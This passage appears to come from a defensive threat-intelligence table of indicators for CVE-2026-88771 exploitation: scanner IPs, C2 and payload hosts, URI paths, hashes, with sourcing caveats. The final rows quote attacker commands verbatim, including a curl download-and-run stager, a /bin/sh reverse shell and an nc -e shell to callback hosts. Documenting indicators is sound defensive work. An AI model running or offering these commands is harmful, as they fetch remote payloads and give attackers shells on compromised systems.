| IPv4 | 137.220.53.135 | GreyNoise tag [109]; Poppelgaard [75] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (The Constant Company, LLC, Canada). Huntback (7 Oct, via checker v1.15) moved it from its scanner group to ns.conf-upload sources | Huntback decoy telemetry plus GreyNoise tagging; ns.conf upload observed by a decoy operator. Keep it blocked. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 120.28.233.211 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Globe Telecoms, Philippines) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 149.28.58.71 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (The Constant Company, LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 23.234.111.22 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (tzulo, inc., United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. VPN or proxy exit shared by many users; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 198.13.159.233 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (BL Networks, Netherlands) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 85.221.203.85 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (INEA sp. z o.o., Poland) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 46.150.68.55 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Kyivski Telekomunikatsiyni Merezhi, Ukraine) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 159.26.103.184 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Proton AG, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. VPN or proxy exit shared by many users; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 45.249.89.172 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (SpeedyPage Ltd, Japan) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 197.52.9.138 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (TE-AS, Egypt) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 180.242.113.168 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (PT Telekomunikasi Indonesia, Indonesia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 85.117.117.248 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Mobile Telecom-Service LLP, Kazakhstan) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 73.43.85.7 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Comcast Cable Communications, LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 88.180.103.22 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Free SAS, France) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 194.28.195.90 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Dialog-K LLC, Russia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 95.63.246.50 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Vodafone Espana S.A.U., Spain) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 31.13.192.160 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (SKAT POPOVO Ltd., Bulgaria) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 185.170.55.89 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (LLC Electron-Telecom, Russia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 104.203.50.26 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Blue Stream, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 37.19.221.171 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Datacamp Limited, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. VPN or proxy exit shared by many users; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 45.143.167.96 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (BlueVPS OU, Netherlands) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 206.232.71.215 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Leaseweb Deutschland GmbH, Germany) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 130.94.106.141 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (LIGHT NODE LIMITED, Argentina) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 58.187.56.89 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (FPT Telecom Company, Vietnam) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 171.106.10.118 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CHINANET BACKBONE, China) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 82.24.212.15 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Shock Hosting LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 178.66.43.241 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (PJSC Rostelecom, Russia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 185.209.15.246 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (ESTOXY OU, Netherlands) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 94.190.77.195 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (INTERRA telecommunications group, Ltd., Russia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 93.177.60.233 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (PJSC Rostelecom, Russia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 68.46.140.222 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Comcast Cable Communications, LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 178.218.40.232 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (ATEXS PLUS Ltd., Russia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 49.36.107.103 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Reliance Jio Infocomm Limited, India) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 191.37.30.194 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (WRNET LTDA, Brazil) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 23.234.74.48 | GreyNoise tag [109]; Poppelgaard [75] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (tzulo, inc., United States). Huntback (7 Oct, via checker v1.15) moved it from its scanner group to confirmed command-injection sources | Huntback decoy telemetry plus GreyNoise tagging. VPN or proxy exit shared by many users; do not block on GreyNoise tagging alone - Huntback's injection evidence is the discriminator. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 72.73.231.73 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Verizon Business, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 95.229.84.239 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Telecom Italia S.p.A., Italy) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 113.137.102.68 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CHINANET BACKBONE, China) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 47.243.125.255 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 47.76.92.109 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 8.217.173.25 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 8.210.67.91 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 47.239.205.29 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 47.76.132.65 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 8.218.219.56 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 47.76.102.1 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 47.76.63.52 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 8.210.119.74 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Alibaba (US) Technology Co., Ltd., Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 64.177.93.71 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (The Constant Company, LLC, Mexico) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 44.252.255.141 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Amazon.com, Inc., United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 194.242.130.193 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (WAHYU, Hong Kong) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 125.122.56.47 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CHINANET BACKBONE, China) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 23.132.164.35 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Netiface America, Inc., Switzerland) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 92.118.204.229 | GreyNoise tag [109]; LevelBlue SpiderLabs (THOR team) [82] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Catixs Ltd, United States). LevelBlue: source of command-execution testing (e.g. whoami) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 54.70.59.128 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Amazon.com, Inc., United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 44.226.128.41 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Amazon.com, Inc., United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 4.246.63.96 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Microsoft Corporation, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 176.65.148.54 | watchTowr Intel [61]; watchTowr [105]; GreyNoise tag [109] | Sliver C2 endpoint and staging server of the watchTowr-captured ns_helper implant (beacons to :80 and :8080/ns_helper staging, also http), identified 7 Oct; Huntback also lists it as a confirmed command-injection source (moved from its scanner group). Earlier: tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Pfcloud UG, Netherlands) | Multi-source: watchTowr sinkholed the implant beacons and staging from this host; GreyNoise and Huntback corroborate exploitation/injection activity. Keep it blocked. | Public blog and GitHub repository, no TLP marking |
| IPv4 | 104.28.193.147 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 29 (Cloudflare, Inc., Japan) | Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 104.28.211.105 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 29 (Cloudflare, Inc., Japan) | Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs. | GreyNoise Visualizer tag search, viewed Sep 29 |
| User-Agent | Python-urllib | Lupovis (@LupovisDefence) on X, Sep 28 [116] | Client used for CVE-2026-88771 log-poison exploitation on Lupovis decoys (payload runs id;uname, DNS callback to httpworkbench) | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. Python-urllib is a common library default; only meaningful together with the auth-endpoint payload. | Public post, no TLP marking |
| URI path | /vpn/scripts/linux/nsgclient18.deb | Maurice_Sec on X [168]; CyberMaxx [104]; Google GTIG / Mandiant [70]; Unit 42 (Palo Alto Networks) [153] | GET requests referenced in a NetScaler Console IoC scanner finding (Maurice_Sec field notes) | Single practitioner report; the author is "not 100%" on this finding. Matches the GTIG nsgclient*.deb staging pattern. A legitimate client package normally lives at similar paths, so check file content, not just the name. | Public post, no TLP marking |
| URI path | /vpn/scripts/linux/nsgclient18_32.deb | Maurice_Sec on X [168]; CyberMaxx [104]; Google GTIG / Mandiant [70] | GET requests referenced in a NetScaler Console IoC scanner finding (Maurice_Sec field notes) | Single practitioner report; the author is "not 100%" on this finding. Matches the GTIG nsgclient*.deb staging pattern. Check file content, not just the name. | Public post, no TLP marking |
| Domain | echvista.com | IFIN [111] | Associated exploit source (IFIN compiled observables) | Compiled by IFIN from shared reports; the original reporter of each value is not stated. No A record when checked on Sep 29. | Public, no restriction |
| SHA-256 | 73b74309f4728d169cc9edfb2767c5aadd75d39b62de93c935a86c777d2646bc | Arctic Wolf [72] | First payload returned from /xd7h/x | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| SHA-256 | 9c7bf01d2c2cb31a3609d27c1bc9abc60d86e37b7f9908547e0c75fb18b99aab | Arctic Wolf [72] | nsmon.pl Perl implant returned from /xd7h/nsmon.pl | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| SHA-256 | 57f9f30c50240fd48d761de7961a430cdebf2c084a36bc76d376a1ce8e6dfa9d | Arctic Wolf [72]; eSentire TRU blog [99] | The "x" stager shell script: Platypus-server-generated, downloaded by curl -k http://62.133.62.80:80/xd7h/x > /.x and run with sh /.x (eSentire TRU Cluster B; the command matches the Platypus project's documented enrollment nearly verbatim) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| SHA-256 | 974b69782fdf5d67b97cfd508465939e44ee10798dbcc1e82b92d78776bad938 | Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82] | Perl script update_c08937.pl | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public GitHub repository, no TLP marking |
| SHA-256 | 927c7fbef2e620c1ce482c3ed67ebf53da97693c1d6c7552c77aec84ba982cf8 | Arctic Wolf [72]; eSentire TRU blog [99] | Platypus bootstrap script (server-generated) retrieved from entretiensol.com: downloads the agent from https://entretiensol.com/v1/artifacts/<os>/<arch>/latest (e.g. /v1/artifacts/freebsd/amd64/latest), sets PLATYPUS_INSTALL_TOKEN and enrolls against entretiensol.com:443 (eSentire TRU Cluster B; mirrors the project's distributor.go) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 45.141.21.130 | Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82]; eSentire TRU blog [99] | Reverse-shell destination: /bin/sh -i to port 443. ASN 214961, Stellar Group SAS (per eSentire Cluster D) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public GitHub repository, no TLP marking |
| IPv4 | 68.178.160.183 | Arctic Wolf [72] | Payload host on ports 8888 and 8899 (/test, /test111) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 89.44.80.7 | Arctic Wolf [72] | Callback host: /exec-ok and Base64 id output on port 65456; nc -e /bin/sh to port 58963 | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 130.94.42.226 | Arctic Wolf [72] | Callback on port 18805 | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
